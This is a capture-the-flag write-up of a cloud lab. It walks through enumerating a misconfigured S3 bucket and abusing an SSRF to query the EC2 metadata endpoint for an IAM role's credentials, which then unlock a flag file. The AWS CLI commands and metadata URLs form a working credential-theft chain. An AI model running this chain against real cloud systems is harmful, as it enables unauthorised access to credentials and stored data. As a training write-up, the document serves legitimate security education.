561 words
3 minutes
SSRF to S3 Bucket Compromised

Description#

This challenge from pwnedlab is easy and beginner friendly called SSRF to Pwned.

The starting point is a single url : http://app.huge-logistics.com

Think of S3 bucket like a folder in the cloud. We can use it to store any kind of file or data, from documents to images. It can also use to store static file for our websites. Sometimes developers are store sensitive files in s3 bucket. So it’s worth to enumerate s3 bucket during cloud pentest beacuse S3 buckets are often misconfigured.

Enumeration#

When we checked the website’s source code, we can see that the webpage stores its image files in an S3 bucket.

The huge-logistics-storage is the name of the bucket. When we look at the S3 bucket, we can see a couple of authentication configurations. AuthenticatedUsers and Unauthenticated(anonymous). For AuthenticatedUsers, access can be granted for specific IAM users/roles or to all AWS accounts.

AuthenticatedUsers Access

  1. For specific IAM access which mean permissions that are granted only to particular IAM users/roles

  2. For any valid AWS users If a bucket policy or ACL grants permissions to this group, it means any AWS account with valid credentials can access.

Unauthenticated (Anonymous) Access

  1. Anyone on the internet can list or get the objects.

AWS CLI#

We can check the by command line below

Terminal window
# admin_cloud6 is just my own aws account
aws s3 ls s3://huge-logistics-storage --profile admin_cloud6
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: User: arn:aws:iam::427648302155:user/it-admin is not authorized to perform: s3:ListBucket on resource: "arn:aws:s3:::huge-logistics-storage" because no identity-based policy allows the s3:ListBucket action

For the unauthenticated request, we can use --no-sign-request argument.

aws s3 ls s3://huge-logistics-storage --recursive --no-sign-request
2023-06-01 05:14:05 0 backup/
2023-06-01 05:14:47 3717 backup/cc-export2.txt
2023-06-01 21:38:27 32 backup/flag.txt
2023-06-01 03:40:47 0 web/
2023-06-01 03:42:33 114886 web/images/about.jpg
2023-06-01 03:42:34 271657 web/images/banner.jpg
2023-06-01 03:42:35 48441 web/images/blog1.jpg
2023-06-01 03:42:36 32805 web/images/blog2.jpg
2023-06-01 03:42:36 44570 web/images/blog3.jpg
2023-06-01 03:42:37 20032 web/images/executive.jpg
2023-06-01 03:42:37 13368 web/images/manager.jpg
2023-06-01 03:42:38 18260 web/images/manager1.jpg
2023-06-01 03:42:38 42216 web/images/signature.jpg

There is flag.txt file in backup folder. We can download it cp command as follow:

Terminal window
aws s3 cp s3://huge-logistics-storage/backup/flag.txt . --no-sign-request
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden

It give an error because we don’t have enough access to download it. If we go back to the webpage, there is an endpoint called status.php as follow:

Which check the status of the website.

Getting AWS Secret#

We can check this SSRF via burp collaborator or localhost 127.0.0.1.

Or we can check metadata of ec2 instance on this endpoint : 169.254.169.254/latest/meta-data/

To grab the aws id and secret key, we need to check first is there any IAM role configured or not from this endpoint 169.254.169.254/latest/meta-data/iam/info

Now we can make a request to fetch MetapwnedS3Access’s secret with this url: 169.254.169.254/latest/meta-data/iam/security-credentials/MetapwnedS3Access

By using this aws secret, we can configure aws credential to interact with awscli as shown below

And then we can validate with this command. This is similar to whoami command in linux.

Terminal window
aws sts get-caller-identity --profile metapwned
{
"UserId": "AROARQVIRZ4UCHIUOGHDS:i-0199bf97fb9d996f1",
"Account": "104506445608",
"Arn": "arn:aws:sts::104506445608:assumed-role/MetapwnedS3Access/i-0199bf97fb9d996f1"
}
TIP

If you don’t want to add --profile argument every time you run a command, you can set it as a defult profile like this

Terminal window
export AWS_PROFILE=metapwned
aws sts get-caller-identity
{
"UserId": "AROARQVIRZ4UCHIUOGHDS:i-0199bf97fb9d996f1",
"Account": "104506445608",
"Arn": "arn:aws:sts::104506445608:assumed-role/MetapwnedS3Access/i-0199bf97fb9d996f1"
}

Compromised S3 Bucket Access#

Now that we have IAM role access, let’s try downloading the flag.txt file again using this profile.

Terminal window
aws s3 cp s3://huge-logistics-storage/backup/flag.txt .
download: s3://huge-logistics-storage/backup/flag.txt to ./flag.txt
cat flag.txt
282f08a114b4b4f2d345100dXXXXXXXX

This time we were able to download successfully the flag file from the compromised S3 bucket.

SSRF to S3 Bucket Compromised
https://k0shane.github.io/posts/cloud-security/ssrf-to-s3-bucket-compromised/
Author
k0shane
Published at
2025-10-29
License
SHANE